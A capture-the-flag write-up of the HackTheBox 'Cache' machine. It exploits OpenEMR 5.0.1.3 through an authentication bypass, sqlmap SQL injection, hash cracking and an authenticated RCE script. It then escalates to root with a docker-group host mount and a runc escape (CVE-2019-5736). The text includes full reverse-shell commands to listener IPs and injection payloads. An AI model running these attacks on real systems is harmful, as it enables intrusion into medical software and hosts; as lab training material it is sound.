HackTheBox - Cache

— Written by — 15 min read
cache-hackthebox

Cache just retired on Hackthebox, it’s a medium difficulty Linux box. This box was quite fun to solve and required to use a ton of vulnerabilities. This box actually made me worried a little about the state of security in some medical web tools haha.

Tl;Dr: To get the user flag you had to exploit an unauthenticated SQL Injection in a HMS (hospital management system) web app in order to retrieve the app admin hash. Once cracked you can use an authenticated remote code execution exploit to get a shell as www-data. Using credentials found on the first website you pivot to ash user and get the flag.
To get the root flag you first have to pivot to luffy user by extracting its password from a memcached instance. From luffy account you exploit a vulnerability in docker to achieve arbitrary file read and get a root shell.

Alright! Let’s get into the details now!


First thing first, let’s add the box IP to the hosts file:

1
[hg8@archbook ~]$ echo "10.10.10.188 cache.htb" >> /etc/hosts

and let’s start!

User Flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
9
10
[hg8@archbook ~]$ nmap -sV -sT -sC cache.htb
Nmap scan report for cache.htb (10.10.10.188)

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 12.49 seconds

We have a classical web app running on port 80 and the SSH port 22 open.

Opening http://cache.htb display a following page:

cache homepage

Since most pages are static let’s focus on the Login page.

Ash credentials

While trying to login with dummy credentials something immediately catch the eye:

cache-login

Well that’s a quite fast error message, looks like it doesn’t even make a request to the server to check the credentials…

Looking at the page source confirms our suspicions. A Javascript file is used to check on credentials in jquery/functionality.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$(function(){

var error_correctPassword = false;
var error_username = false;

function checkCorrectPassword(){
var Password = $("#password").val();
if(Password != 'H@v3_fun'){
alert("Password didn't Match");
error_correctPassword = true;
}
}
function checkCorrectUsername(){
var Username = $("#username").val();
if(Username != "ash"){
alert("Username didn't Match");
error_username = true;
}
}
$("#loginform").submit(function(event) {
/* Act on the event */
error_correctPassword = false;
checkCorrectPassword();
error_username = false;
checkCorrectUsername();


if(error_correctPassword == false && error_username ==false){
return true;
}
else{
return false;
}
});
});

This explains why the error message was so fast to appear. Also we got credentials: ash:H@v3_fun. Let’s login using those:

cache login net

Bummer nothing there. Let’s continue our investigation.

HMS (Hospital Management System)

While navigating the website, the author.html page informs us of an interesting information:

ASH is a Security Researcher (Threat Research Labs), Security Engineer. Hacker, Penetration Tester and Security blogger. He is Editor-in-Chief, Author & Creator of Cache. Check out his other projects like Cache:

HMS(Hospital Management System)
[…]

Maybe the HMS project is available on this server. Let’s add the hms subdomain to our file to see if we can access it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[hg8@archbook ~]$ echo "10.10.10.188 hms.cache.htb" >> /etc/hosts
[hg8@archbook ~]$ curl hms.cache.htb
HTTP/1.1 200 OK
Date: Mon, 18 May 2020 13:59:28 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Wed, 06 May 2020 09:03:19 GMT
ETag: "2001-5a4f70909088c"
Accept-Ranges: bytes
Content-Length: 8193
Vary: Accept-Encoding
Content-Type: text/html

[hg8@archbook ~]$ curl cache.htb -I
HTTP/1.1 200 OK
Date: Mon, 18 May 2020 13:59:40 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Wed, 06 May 2020 09:03:19 GMT
ETag: "2001-5a4f70909088c"
Accept-Ranges: bytes
Content-Length: 8193
Vary: Accept-Encoding
Content-Type: text/html

No luck it redirect to the main website. Maybe hms.htb then ?

1
[hg8@archbook ~]$ echo "10.10.10.188 hms.htb" >> /etc/hosts

Bingo! We have access to a new CMS called OpenEMR:

cache openemr login panel

Trying ash credentials doesn’t works, nor openemr default admin credentials.

Running gobuster yields a lot of results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
[hg8@archbook ~]$ gobuster dir -u "http://hms.htb" -w ~/SecLists/Discovery/Web-Content/big.txt -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/LICENSE (Status: 200)
/admin.php (Status: 200)
/ci (Status: 301)
/cloud (Status: 301)
/common (Status: 301)
/config (Status: 301)
/contrib (Status: 301)
/controller.php (Status: 200)
/controllers (Status: 301)
/custom (Status: 301)
/entities (Status: 301)
/images (Status: 301)
/index.php (Status: 302)
/interface (Status: 301)
/javascript (Status: 301)
/library (Status: 301)
/modules (Status: 301)
/myportal (Status: 301)
/patients (Status: 301)
/portal (Status: 301)
/public (Status: 301)
/repositories (Status: 301)
/server-status (Status: 403)
/services (Status: 301)
/setup.php (Status: 200)
/sites (Status: 301)
/sql (Status: 301)
/templates (Status: 301)
/tests (Status: 301)
/vendor (Status: 301)
/version.php (Status: 200)

The admin.php page is interesting since it give us the OpenEMR version (5.0.1 (3)) :

cache openEMR admin page

This 5.0.1.3 is actually pretty old, let’s search online to see if we can find any vulnerabilities for this version:

1
2
3
4
5
6
7
8
9
10
[hg8@archbook ~]$ searchsploit openemr
------------------------------------------------------------ ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------ ----------------------------------
[...]
OpenEMR 5.0.1.3 - (Authenticated) Remote Code Execution | exploits/php/webapps/45161.py
------------------------------------------------------------ ----------------------------------
Shellcodes: No Results

Looks good! A RCE exploit, except it’s authenticated… We will need to first find a way to authenticate to OpenEMR in order to use this exploit.

Maybe we can try to relaunch the installation page at setup.php to reconfigure the site with our own credential? Unfortunately, this doesn’t work and we get an error message saying the website have already been configured.

It’s also not possible to add a new site… Then what ?

Let’s search a bit more, maybe we missed vulnerabilities. Searching for “OpenEMR 5.0.1.3“ on Google returns an interesting paper that wasn’t available through searchploit:

ProjectInsecurity-insecurity.sh
OpenEMR v5.0.1.3 - Vulnerability Report

https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf

This paper presents a quite impressive list of vulnerabilities affecting OpenEMR 5.0.1.3:

OpenEMR vulnerability list

Reading through the vulnerability list, we quickly understand that:

  • All RCE vulnerability are authenticated
  • All Arbitrary File Read/Write are authenticated
  • CSRF to RCE is authenticated
  • Unrestricted File Upload are authenticated
  • All SQL Injection are authenticated

At first it looks like we didn’t made a lot of progress here, but another vulnerability is worth checking : “Patient Portal Authentication Bypass“:

An unauthenticated user is able to bypass the Patient Portal Login by simply navigating tothe registration page and modifying the requested url to access the desired page. Someexamples of pages in the portal directory that are accessible after browsing to theregistration page include:

  • find_appt_popup_user.php
  • […]

Well, this page is familiar isn’t ?

SQL injection in find_appt_popup_user.php is caused by unsanitized user input from thecatid and providerid parameters.

Linking the “Patient Portal Authentication Bypass“ and “SQL injection in find_appt_popup_user.php“ we should be able to retrieve database informations even while being unauthenticated. Let’s give a try.

SQL Injection on OpenEMR

Heading to http://hms.htb/portal/find_appt_popup_user.php first redirects us to the Patient Login page. Since the Registration is open, we can create an account and browse back to find_appt_popup_user.php:

cache openemr find popup user

From there we can quickly validate the SQL injection possibility:

cache openemr sql injection

Let’s now use SQLMap to speed-up our injection process:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[hg8@archbook ~]$ sqlmap -u "http://hms.htb/portal/find_appt_popup_user.php?catid=1" --cookie="PHPSESSID=fobps042o1oh4u325nqk3jnniv; OpenEMR=qsvth3m6bqdgnusejnn36bd1pe"
___
__H__
___ ___[.]_____ ___ ___ {1.4.4#stable}
|_ -| . [(] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[10:41:00] [INFO] heuristic (basic) test shows that GET parameter 'catid' might be injectable (possible DBMS: 'MySQL')
[10:41:10] [INFO] GET parameter 'catid' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[10:41:21] [INFO] GET parameter 'catid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[10:41:41] [INFO] target URL appears to be UNION injectable with 1 columns
GET parameter 'catid' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 66 HTTP(s) requests:
---
Parameter: catid (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: catid=1' AND (SELECT 2341 FROM(SELECT COUNT(*),CONCAT(0x71706b6b71,(SELECT (ELT(2341=2341,1))),0x71716b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Mfzh'='Mfzh

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: catid=1' AND (SELECT 3684 FROM (SELECT(SLEEP(5)))YmTR) AND 'ApVK'='ApVK
---

Let’s list the databases:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[hg8@archbook ~]$ sqlmap -u "http://hms.htb/portal/find_appt_popup_user.php?catid=1" --cookie="PHPSESSID=fobps042o1oh4u325nqk3jnniv; OpenEMR=qsvth3m6bqdgnusejnn36bd1pe" --dbs
___
__H__
___ ___[,]_____ ___ ___ {1.4.4#stable}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[10:44:25] [INFO] fetching database names
[10:44:25] [INFO] retrieved: 'information_schema'
[10:44:25] [INFO] retrieved: 'openemr'
available databases [2]:
[*] information_schema
[*] openemr

Well that’s no surprise here. According to OpenEMR documentation, the admin user accounts are stored in the users_secure table. Let’s dump it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[hg8@archbook ~]$ sqlmap -u "http://hms.htb/portal/find_appt_popup_user.php?catid=1" --cookie="PHPSESSID=fobps042o1oh4u325nqk3jnniv; OpenEMR=qsvth3m6bqdgnusejnn36bd1pe" -D openemr -T users_secure --dump
___
__H__
___ ___["]_____ ___ ___ {1.4.4#stable}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org


[10:47:56] [INFO] fetching columns for table 'users_secure' in database 'openemr'
[10:47:56] [WARNING] reflective value(s) found and filtering out
[10:47:56] [INFO] retrieved: 'id'
[10:47:56] [INFO] retrieved: 'username'
[10:47:57] [INFO] retrieved: 'password'
[10:47:57] [INFO] retrieved: 'salt'
[10:47:57] [INFO] retrieved: 'last_update'
[10:47:57] [INFO] fetching entries for table 'users_secure' in database 'openemr'
[10:47:57] [INFO] retrieved: '1'
[10:47:58] [INFO] retrieved: '$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.'
[10:47:58] [INFO] retrieved: '2019-11-21 06:38:40'
[10:47:58] [INFO] retrieved: '$2a$05$l2sTLIG6GTBeyBf7TAKL6A$'
[10:47:58] [INFO] retrieved: 'openemr_admin'

Alright, we got openemr_admin password hash and password salt.

Admin hash bruteforce

The easiest way to authenticate to OpenEMR and achieve Remote Code Execution is to bruteforce the openemr_admin password hash we found earlier. At first look it seems like bcrypt hash.

hashid can confirm our guess:

1
2
3
4
5
[hg8@archbook ~]$ hashid "\$2a\$05\$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B." -mj
Analyzing '$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt [Hashcat Mode: 3200][JtR Format: bcrypt]

Let’s now use john to see if we can easily brute-force the hash:

1
2
3
4
5
6
[hg8@archbook ~]$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou.txt hash.txt
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Press 'q' or Ctrl-C to abort, almost any other key for status
xxxxxx (?)
1g 0:00:00:00 DONE (2020-05-10 16:48) 3.448g/s 2917p/s 2917c/s 2917C/s tristan..princesita
Session completed

Alright, we got the admin credentials: openemr_admin:xxxxxx. We can login on OpenEMR portal to make sure the informations are correct and move to the next step: Remote Code Execution.

openemr admin login

OpenEMR Authenticated Remote Code Execution

Coming from the same team who made the vulnerability report on OpenCRM we found earlier this Authenticated Remote Code Execution exploit on searchsploit. After a quick review nothing need to be changed to make it work on our instance. Let’s give it a try to open a reverse shell.

First let’s open our listener as usual:

1
2
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[hg8@archbook ~]$ cp /usr/share/exploitdb/exploits/php/webapps/45161.py openemr-rce.py
[hg8@archbook ~]$ python openemr-rce.py http://hms.htb -u openemr_admin -p xxxxxx -c 'bash -i >& /dev/tcp/10.10.10.10/8585 0>&1'
.---. ,---. ,---. .-. .-.,---. ,---.
/ .-. ) | .-.\ | .-' | \| || .-' |\ /|| .-.\
| | |(_)| |-' )| `-. | | || `-. |(\ / || `-'/
| | | | | |--' | .-' | |\ || .-' (_)\/ || (
\ `-' / | | | `--.| | |)|| `--.| \ / || |\ \
)---' /( /( __.'/( (_)/( __.'| |\/| ||_| \)\
(_) (__) (__) (__) (__) '-' '-' (__)

={ P R O J E C T I N S E C U R I T Y }=

Twitter : @Insecurity
Site : insecurity.sh

[$] Authenticating with openemr_admin:xxxxxx
[$] Injecting payload

And we get a new connection on our listener:

1
2
3
4
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.188:59554
www-data@cache:/var/www/hms.htb/public_html/interface/main$

Quickly we can see we need to pivot to ash user:

1
2
3
4
5
6
7
8
www-data@cache:/var/www/html$ ls -l /home/ash
drwxrwxr-x 2 root root 4096 May 5 11:17 Desktop
drwxrwxr-x 2 root root 4096 Oct 9 2019 Documents
drwxrwxr-x 2 root root 4096 Sep 18 2019 Downloads
drwxrwxr-x 2 root root 4096 Sep 18 2019 Music
drwxrwxr-x 2 root root 4096 Sep 18 2019 Pictures
drwxrwxr-x 2 root root 4096 Oct 9 2019 Public
-r-x------ 1 ash ash 33 May 10 16:27 user.txt

Pivot www-data -> ash

First let’s upgrade our shell to ease our recon:

1
2
3
4
5
6
7
8
9
www-data@cache:/$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@cache:/$ export TERM=xterm-256color
www-data@cache:/$ export SHELL=/bin/bash
www-data@cache:/$ ^Z
[1]+ Stopped nc -l -vv -p 8585
[hg8@archbook ~]$ stty raw -echo;fg
nc -l -vv -p 8585
www-data@cache:/$ reset
www-data@cache:/$

With this fully interactive shell we can now try to pivot to ash user using the credentials we found earlier.

1
2
3
4
5
6
www-data@cache:/$ su - ash
Password: H@v3_fun
ash@cache:~$ ls
Desktop Documents Downloads Music Pictures Public user.txt
ash@cache:~$ cat user.txt
exxxxxxxxxxxxxxxxxxxx8

Root Flag

Recon

While doing our various usual recon task we notice a service listening on 11211:

1
2
3
4
5
6
7
8
9
10
11
12
ash@cache:~$ netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:domain 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN
tcp 0 0 localhost.localdo:mysql 0.0.0.0:* LISTEN
tcp 0 0 localhost.localdo:11211 0.0.0.0:* LISTEN
tcp6 0 0 [::]:http [::]:* LISTEN
tcp6 0 0 [::]:ssh [::]:* LISTEN
tcp6 0 0 [::]:11211 [::]:* LISTEN
udp 0 0 localhost:domain 0.0.0.0:*
raw6 0 0 [::]:ipv6-icmp [::]:* 7

Port 11211 correspond to Memcached:

Memcached is a high-performance, distributed memory object caching system, generic in nature, but intended for use in speeding up dynamic web applications by alleviating database load.

Memcached is an in-memory key-value store for small chunks of arbitrary data (strings, objects) from results of database calls, API calls, or page rendering.

https://memcached.org/

Given the name of the box, digging into the Memcached service might be worth it…

Memcached enumeration

According to the documentation connecting to port 11211 from localhost allows to enumerate objects stored:

First let’s connect to memcached using telnet:

1
2
3
4
5
6
ash@cache:~$ telnet localhost 11211
telnet localhost 11211
Connected to localhost.localdomain.
Escape character is '^]'.
version
VERSION 1.5.6 Ubuntu

Let’s print memory statistics with stats slabs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
stats slabs
STAT 1:chunk_size 96
STAT 1:chunks_per_page 10922
STAT 1:total_pages 1
STAT 1:total_chunks 10922
STAT 1:used_chunks 5
STAT 1:free_chunks 10917
STAT 1:free_chunks_end 0
STAT 1:mem_requested 371
STAT 1:get_hits 0
STAT 1:cmd_set 291
STAT 1:delete_hits 0
STAT 1:incr_hits 0
STAT 1:decr_hits 0
STAT 1:cas_hits 0
STAT 1:cas_badval 0
STAT 1:touch_hits 0
STAT active_slabs 1
STAT total_malloced 1048576
END

We have only one object in memory. Let’s fetch the key’s names associated with this one:

1
2
3
4
5
6
7
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END

Looks good! We have a user and password key. Let’s dump the values stored in it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
get link
VALUE link 0 21
https://hackthebox.eu
END

get user
get user
VALUE user 0 5
luffy
END

get passwd
get passwd
VALUE passwd 0 9
0n3_p1ec3
END

Pivot ash -> luffy

Since we have luffy credentials let’s just try to login through SSH:

1
2
3
4
5
6
[hg8@archbook ~]$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-99-generic x86_64)

Last login: Wed May 6 08:54:44 2020 from 10.10.14.3
luffy@cache:~$

Alright we are now logged as luffy. Uppon quick enumeration we noticed luffy is hosting docker:

1
2
3
4
5
6
7
8
9
10
11
12
luffy@cache:~$ groups
luffy docker
luffy@cache:~$ ip a
[...]
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:a1:bd:9d:e8 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

Docker Privilege Escalation

Belonging to docker group gives extra permissions related to docker. This is going to allow us to use the widely know docker privilege escalation technique which consist in using the permission to run container with host mounted volumes. Let’s see how it’s done.

First we need to have a docker image available. It’s our luck there is an ubuntu image already installed:

1
2
3
luffy@cache:/$  docker image list
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 2ca708c1c9cc 7 months ago 64.2MB

Then we can spawn an interactive root shell alongside the -v option to mount the entire filesystem of the host to the ubuntu container:

1
2
3
luffy@cache:/tmp$ docker run -v /:/mnt -it ubuntu chroot /mnt sh
# cat /root/root.txt
3xxxxxxxxxxxxxxxxxxxx2

“Intended” way to root

While I am pretty sure this is the indented way to root most people probably missed/skipped it for the easiest version from Docker group privilege escalation.

With that being said let’s see this second way to root.

Uppon checking the docker version we notice it’s an old one (18.09.2):

1
2
luffy@cache:~$ luffy@cache:~$ docker --version
Docker version 18.09.1, build 4c52b90

Searhsploit returns an interesting result for this version:

1
2
3
4
5
6
7
8
9
[hg8@archbook ~]$ searchsploit docker
----------------------------------------------------------- -----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
----------------------------------------------------------- -----------------------------------
[...]
runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (2) | exploits/linux/local/46369.md
----------------------------------------------------------- -----------------------------------
Shellcodes: No Results

Let’s dig in!

Docker container escape via runC (CVE-2019-5736)

The advisory on this CVE describe the issue this way:

The vulnerability allows a malicious container to overwrite the host runc binary and thus gain root-level
code execution on the host. The level of user interaction is being able to run any command as root within a container in either of these contexts:

  • Creating a new container using an attacker-controlled image.
  • Attaching (docker exec) into an existing container which the
    attacker had previous write access to.

This vulnerability is not blocked by the default AppArmor policy, nor
by the default SELinux policy on Fedora. […]

https://www.openwall.com/lists/oss-security/2019/02/11/2

Sounds like exactly our context. We can even find a Proof Of Concept on Github. Let’s give it a try:

1
2
[hg8@archbook ~]$ git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git
[hg8@archbook ~]$ cd CVE-2019-5736-PoC/

We need to edit the main.go payload in order to open a reverse shell:

1
2
- var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"
+ var payload = "#!/bin/bash \n /tmp/nc -e /bin/bash 172.18.0.1 8585"

Then we can build the exploit and send it alongside a copy of netcat to the box:

1
2
[hg8@archbook ~]$ go build main.go
[hg8@archbook ~]$ scp nc main luffy@cache:~$:/tmp/.hg8

We have everything ready, let’s open our nc listener:

1
2
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585

And finally run the exploit:

1
2
3
4
5
6
7
8
luffy@cache:/tmp/.hg8$ docker run --rm --name pwnme -dit ubuntu bash
7d998e09dd6fece9947f744eb945e60eb755a6862898958dd4ef3fb954111063
luffy@cache:/tmp/.hg8$ docker cp main pwnme:/tmp/CVE-2019-5736
luffy@cache:/tmp/.hg8$ docker cp nc pwnme:/tmp/nc
luffy@cache:/tmp/.hg8$ docker attach pwnme
root@7d998e09dd6f:/# chmod +x /tmp/CVE-2019-5736
root@7d998e09dd6f:/# ./tmp/CVE-2019-5736
[+] Overwritten /bin/sh successfully

At this point we open a new SSH connection as luffy and open a new sh shell from the pwnme container:

1
2
luffy@cache:~$ docker exec -it pwnme /bin/sh
No help topic for '/bin/sh'

And we get a new connection on our listener:

1
2
3
4
5
6
7
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.188:44040
$ whoami
root
$ cat /root/root.txt
3xxxxxxxxxxxxxxxxxxxxxx2

That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTFHackTheBoxMedium Box
, , , , , , , , ,